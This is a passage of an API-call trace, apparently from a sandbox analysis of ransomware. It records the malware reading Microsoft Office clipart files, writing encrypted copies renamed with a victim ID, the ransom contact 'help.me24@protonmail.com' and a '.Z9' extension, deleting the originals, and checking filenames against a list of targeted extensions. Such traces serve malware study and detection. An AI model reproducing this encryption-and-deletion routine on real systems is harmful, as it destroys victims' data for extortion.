	[0173.662] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=22532) returned 1
	[0173.662] CloseHandle (hObject=0x550) returned 1
	[0173.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220
	[0173.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.663] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.663] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0173.664] GetLastError () returned 0x0
	[0173.664] ReadFile (in: hFile=0x550, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x5804, lpOverlapped=0x0) returned 1
	[0173.666] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x5810, lpOverlapped=0x0) returned 1
	[0173.668] ReadFile (in: hFile=0x550, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.668] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.668] SetEndOfFile (hFile=0x4a8) returned 1
	[0173.668] CloseHandle (hObject=0x4a8) returned 1
	[0173.668] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.668] SetEndOfFile (hFile=0x550) returned 1
	[0173.671] CloseHandle (hObject=0x550) returned 1
	[0173.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1
	[0173.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.672] lstrlenW (lpString=".doc") returned 4
	[0173.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.672] lstrlenW (lpString=".docx") returned 5
	[0173.672] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.672] lstrlenW (lpString=".pdf") returned 4
	[0173.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString=".xls") returned 4
	[0173.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.673] lstrlenW (lpString=".xlsx") returned 5
	[0173.673] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.673] lstrlenW (lpString=".ppt") returned 4
	[0173.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.673] lstrlenW (lpString=".zip") returned 4
	[0173.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.673] lstrlenW (lpString=".rar") returned 4
	[0173.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString=".bz2") returned 4
	[0173.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString=".7z") returned 3
	[0173.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.673] lstrlenW (lpString=".dbf") returned 4
	[0173.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.673] lstrlenW (lpString=".1cd") returned 4
	[0173.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.673] lstrlenW (lpString=".jpg") returned 4
	[0173.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.673] lstrlenW (lpString=".doc") returned 4
	[0173.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString=".docx") returned 5
	[0173.673] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.673] lstrlenW (lpString=".pdf") returned 4
	[0173.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.673] lstrlenW (lpString=".xls") returned 4
	[0173.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.673] lstrlenW (lpString=".xlsx") returned 5
	[0173.673] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.674] lstrlenW (lpString=".ppt") returned 4
	[0173.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.674] lstrlenW (lpString=".zip") returned 4
	[0173.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.674] lstrlenW (lpString=".rar") returned 4
	[0173.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.674] lstrlenW (lpString=".bz2") returned 4
	[0173.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.674] lstrlenW (lpString=".7z") returned 3
	[0173.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.674] lstrlenW (lpString=".dbf") returned 4
	[0173.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.674] lstrlenW (lpString=".1cd") returned 4
	[0173.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0173.674] lstrlenW (lpString=".jpg") returned 4
	[0173.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.674] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.674] lstrlenW (lpString="J0107154.WMF") returned 12
	[0173.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0174.544] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=22300) returned 1
	[0174.544] CloseHandle (hObject=0x550) returned 1
	[0174.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220
	[0174.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0174.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0174.567] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.567] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0175.927] GetLastError () returned 0x0
	[0175.927] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x571c, lpOverlapped=0x0) returned 1
	[0175.930] WriteFile (in: hFile=0x3c8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x5720, lpOverlapped=0x0) returned 1
	[0175.932] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.932] WriteFile (in: hFile=0x3c8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.932] SetEndOfFile (hFile=0x3c8) returned 1
	[0175.932] CloseHandle (hObject=0x3c8) returned 1
	[0175.932] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.932] SetEndOfFile (hFile=0x544) returned 1
	[0175.935] CloseHandle (hObject=0x544) returned 1
	[0175.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1
	[0175.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.937] lstrlenW (lpString=".doc") returned 4
	[0175.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.937] lstrlenW (lpString=".docx") returned 5
	[0175.937] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0175.937] lstrlenW (lpString=".pdf") returned 4
	[0175.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.937] lstrlenW (lpString=".xls") returned 4
	[0175.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.937] lstrlenW (lpString=".xlsx") returned 5
	[0175.937] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0175.937] lstrlenW (lpString=".ppt") returned 4
	[0175.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.938] lstrlenW (lpString=".zip") returned 4
	[0175.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.938] lstrlenW (lpString=".rar") returned 4
	[0175.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString=".bz2") returned 4
	[0175.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString=".7z") returned 3
	[0175.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.938] lstrlenW (lpString=".dbf") returned 4
	[0175.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.938] lstrlenW (lpString=".1cd") returned 4
	[0175.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.938] lstrlenW (lpString=".jpg") returned 4
	[0175.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.938] lstrlenW (lpString=".doc") returned 4
	[0175.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString=".docx") returned 5
	[0175.938] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0175.938] lstrlenW (lpString=".pdf") returned 4
	[0175.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.938] lstrlenW (lpString=".xls") returned 4
	[0175.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.939] lstrlenW (lpString=".xlsx") returned 5
	[0175.939] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0175.939] lstrlenW (lpString=".ppt") returned 4
	[0175.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.939] lstrlenW (lpString=".zip") returned 4
	[0175.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.939] lstrlenW (lpString=".rar") returned 4
	[0175.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.939] lstrlenW (lpString=".bz2") returned 4
	[0175.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.939] lstrlenW (lpString=".7z") returned 3
	[0175.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.939] lstrlenW (lpString=".dbf") returned 4
	[0175.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.939] lstrlenW (lpString=".1cd") returned 4
	[0175.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68
	[0175.939] lstrlenW (lpString=".jpg") returned 4
	[0175.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.939] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0175.939] lstrlenW (lpString="J0107266.WMF") returned 12
	[0175.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0175.940] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5868) returned 1
	[0175.941] CloseHandle (hObject=0x544) returned 1
	[0175.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220
	[0175.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0175.941] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.942] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0176.629] GetLastError () returned 0x0
	[0176.629] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x16ec, lpOverlapped=0x0) returned 1
	[0176.632] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x16f0, lpOverlapped=0x0) returned 1
	[0176.633] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.633] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.634] SetEndOfFile (hFile=0x4bc) returned 1
	[0176.634] CloseHandle (hObject=0x4bc) returned 1
	[0176.634] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.634] SetEndOfFile (hFile=0x544) returned 1
	[0176.638] CloseHandle (hObject=0x544) returned 1
	[0176.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.644] lstrlenW (lpString=".doc") returned 4
	[0176.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".docx") returned 5
	[0176.644] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.644] lstrlenW (lpString=".pdf") returned 4
	[0176.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".xls") returned 4
	[0176.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.644] lstrlenW (lpString=".xlsx") returned 5
	[0176.644] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.644] lstrlenW (lpString=".ppt") returned 4
	[0176.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.644] lstrlenW (lpString=".zip") returned 4
	[0176.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.644] lstrlenW (lpString=".rar") returned 4
	[0176.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".bz2") returned 4
	[0176.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".7z") returned 3
	[0176.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.644] lstrlenW (lpString=".dbf") returned 4
	[0176.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.645] lstrlenW (lpString=".1cd") returned 4
	[0176.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.645] lstrlenW (lpString=".jpg") returned 4
	[0176.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.645] lstrlenW (lpString=".doc") returned 4
	[0176.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString=".docx") returned 5
	[0176.645] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0176.645] lstrlenW (lpString=".pdf") returned 4
	[0176.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString=".xls") returned 4
	[0176.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.645] lstrlenW (lpString=".xlsx") returned 5
	[0176.645] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0176.645] lstrlenW (lpString=".ppt") returned 4
	[0176.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.645] lstrlenW (lpString=".zip") returned 4
	[0176.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.645] lstrlenW (lpString=".rar") returned 4
	[0176.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString=".bz2") returned 4
	[0176.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString=".7z") returned 3
	[0176.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.646] lstrlenW (lpString=".dbf") returned 4
	[0176.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.646] lstrlenW (lpString=".1cd") returned 4
	[0176.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68
	[0176.646] lstrlenW (lpString=".jpg") returned 4
	[0176.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.646] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0176.646] lstrlenW (lpString="J0107280.WMF") returned 12
